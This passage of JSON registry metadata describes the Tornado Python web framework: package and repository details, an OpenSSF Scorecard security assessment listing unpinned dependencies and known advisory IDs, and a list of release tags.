FriendFeed.","homepage":"http://www.tornadoweb.org/","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/tornadoweb/tornado","keywords_array":[],"namespace":null,"versions_count":84,"first_release_published_at":"2010-05-18T11:03:55.000Z","latest_release_published_at":"2026-08-07T02:12:28.000Z","latest_release_number":"6.5.8","last_synced_at":"2026-08-24T13:36:58.874Z","created_at":"2022-04-10T12:52:39.512Z","updated_at":"2026-08-24T13:36:58.874Z","registry_url":"https://pypi.org/project/tornado/","install_command":"pip install tornado --index-url https://pypi.org/simple","documentation_url":"https://tornado.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["License :: OSI Approved :: Apache Software License","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.9","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy"],"normalized_name":"tornado","project_status":null},"repo_metadata":{"id":658918,"uuid":"301742","full_name":"tornadoweb/tornado","owner":"tornadoweb","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.","archived":false,"fork":false,"pushed_at":"2026-08-07T15:34:25.000Z","size":11095,"stargazers_count":22187,"open_issues_count":253,"forks_count":5551,"subscribers_count":948,"default_branch":"master","last_synced_at":"2026-08-16T14:26:21.653Z","etag":null,"topics":["asynchronous","python"],"latest_commit_sha":null,"homepage":"http://www.tornadoweb.org/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tornadoweb.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2009-09-09T04:55:16.000Z","updated_at":"2026-08-16T08:31:18.000Z","dependencies_parsed_at":"2026-08-14T16:34:01.251Z","dependency_job_id":null,"html_url":"https://github.com/tornadoweb/tornado","commit_stats":{"total_commits":3791,"total_committers":449,"mean_commits":8.443207126948774,"dds":"0.34819308889475076","last_synced_commit":"0a39ba8b6ac0beb48a3244098cfa72ce1f59f215"},"previous_names":["facebook/tornado"],"tags_count":85,"template":false,"template_full_name":null,"purl":"pkg:github/tornadoweb/tornado","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/sbom","scorecard":{"id":895010,"data":{"date":"2025-08-11","repo":{"name":"github.com/tornadoweb/tornado","commit":"c2bd430e422fbe0302e0d8d64c4a4d4b826b1825"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":3,"reason":"Found 5/14 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: found token with 'none' permissions: .github/workflows/build.yml:1","Info: found token with 'none' permissions: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:95: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:101: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:139: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: containerImage not pinned by hash: demos/blog/Dockerfile:1: pin your Docker image by updating python:3.7 to python:3.7@sha256:eedf63967cdb57d8214db38ce21f105003ed4e4d0358f02bedc057341bcf92a0","Warn: pipCommand not pinned by hash: demos/blog/Dockerfile:9","Warn: pipCommand not pinned by hash: maint/vm/freebsd/setup.sh:21","Warn: pipCommand not pinned by hash: maint/vm/ubuntu12.04/setup.sh:41","Warn: pipCommand not pinned by hash: maint/vm/ubuntu14.04/setup.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:74","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:40","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:84","Info:   0 out of  16 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   8 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build.yml:80"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-753j-mpmx-qq6g","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: PYSEC-2020-213 / GHSA-8vpw-mgpf-mpvv","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: PYSEC-2012-5 / GHSA-f7fv-v9rh-prvc","Warn: Project is vulnerable to: PYSEC-2023-75 / GHSA-hj3f-6gcp-jg8j","Warn: Project is vulnerable to: GHSA-qppv-j76h-2rpx","Warn: Project is vulnerable to: GHSA-w235-7p84-xx57"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-24T13:21:32.547Z","repository_id":658918,"created_at":"2025-08-24T13:21:32.547Z","updated_at":"2025-08-24T13:21:32.547Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36717189,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-16T02:00:06.462Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tornadoweb","name":"tornadoweb","uuid":"7468980","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/7468980?v=4","repositories_count":1,"last_synced_at":"2026-08-22T00:11:50.763Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/tornadoweb","funding_links":[],"total_stars":22187,"followers":101,"following":0,"created_at":"2022-11-02T16:23:22.380Z","updated_at":"2026-08-22T00:11:50.814Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb/repositories"},"tags":[{"name":"v6.5.8","sha":"a55abe3e3bf59994f29b2f7084c46341f0d4f6a7","kind":"tag","published_at":"2026-08-07T01:56:30.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.8","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.8/manifests"},{"name":"v6.5.7","sha":"48fc2d43d1f48b8b3b0be5dcf6a7634c6f45b1c4","kind":"tag","published_at":"2026-06-08T16:59:06.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.7","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.7/manifests"},{"name":"v6.5.6","sha":"aba2569f7ed7a6bdbef816658fb6b7182531b751","kind":"tag","published_at":"2026-05-27T15:19:37.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.6","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.6/manifests"},{"name":"v6.5.5","sha":"7d6465056ceb7a054b3f64cf1c18271753b10482","kind":"tag","published_at":"2026-03-10T21:14:20.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.5","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.5/manifests"},{"name":"v6.5.4","sha":"63d4df4eefa6750bb14efa1ebffe67b8c54fbad4","kind":"tag","published_at":"2025-12-15T18:42:34.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.4","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.4/manifests"},{"name":"v6.5.3","sha":"38014ddb51520ff7762c1d55535925dba2cdbe31","kind":"tag","published_at":"2025-12-11T04:00:00.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.3","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.3/manifests"},{"name":"v6.5.2","sha":"547e6d86972238f1f5333a85f12b17fb33626899","kind":"tag","published_at":"2025-08-08T18:10:29.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.2/manifests"},{"name":"v6.5.1","sha":"b5586f3f2956308a9dff1fba2c3ddbbbe1ab29d0","kind":"tag","published_at":"2025-05-22T17:57:59.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.1/manifests"},{"name":"v6.5.0","sha":"ab5f35431242f95a5ef0a2ac228e54e89ab511f0","kind":"tag","published_at":"2025-05-15T20:18:40.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0/manifests"},{"name":"v6.5.0b1","sha":"bfe748948581fff5fef41d6297bcf5baf6915dd6","kind":"commit","published_at":"2025-04-29T20:36:54.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0b1/manifests"},{"name":"v6.4.2","sha":"a5ecfab15e52202a46d34638aad93cddca86d87b","kind":"tag","published_at":"2024-11-22T02:37:18.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.2/manifests"},{"name":"v6.4.1","sha":"2a0e1d13b5222dca4388c0ec8a4bb74ea6fa4af2","kind":"tag","published_at":"2024-06-06T18:12:16.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.1/manifests"},{"name":"v6.4.0","sha":"b3f2a4bb6fb55f6b1b1e890cdd6332665cfe4a75","kind":"tag","published_at":"2023-11-29T03:19:42.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0/manifests"},{"name":"v6.4.0b1","sha":"5a877238ed1c2ce7a58f2568c52c3eb0fffe8064","kind":"tag","published_at":"2023-11-16T03:10:17.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0b1/manifests"},{"name":"v6.3.3","sha":"e4d698433b44f350d4908da9ca2cac475c92dfdc","kind":"tag","published_at":"2023-08-11T14:45:47.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.3","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.3/manifests"},{"name":"v6.3.2","sha":"34f5c1cf2696afec5532ca9e870ba32cbc7fee27","kind":"tag","published_at":"2023-05-14T01:38:10.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.2/manifests"},{"name":"v6.3.1","sha":"419838b9bcc51445241630def0478f1fbaa61b4b","kind":"tag","published_at":"2023-04-21T20:33:11.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.1/manifests"},{"name":"v6.3.0","sha":"298dc390bbc2d06b93d8e7b063c1a216184c11fe","kind":"tag","published_at":"2023-04-18T01:19:13.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0/manifests"},{"name":"v6.3.0b1","sha":"c83389fa103d62eb3e4911d5dd9b1971852f4867","kind":"commit","published_at":"2023-04-09T20:45:26.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0b1/manifests"},{"name":"v6.2.0","sha":"a4f08a31a348445094d1efa17880ed5472db9f7d","kind":"tag","published_at":"2022-07-03T22:11:23.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.2.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0/manifests"},{"name":"v6.2.0b2","sha":"1de5e68d1684e99b80e73beb59661c2fe1c57319","kind":"commit","published_at":"2022-06-17T20:40:41.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.2.0b2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.2.0b2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.2.0b2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0b2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0b2/manifests"},{"name":"v6.2.0b1","sha":"4470d6927a598b2d8e7aaf14398ab7ca5b0ed5c6","kind":"tag","published_at":"2022-06-10T19:09:39.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.2.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.2.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.2.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0b1","manifests_url":"https://repos.ecosyste.ms/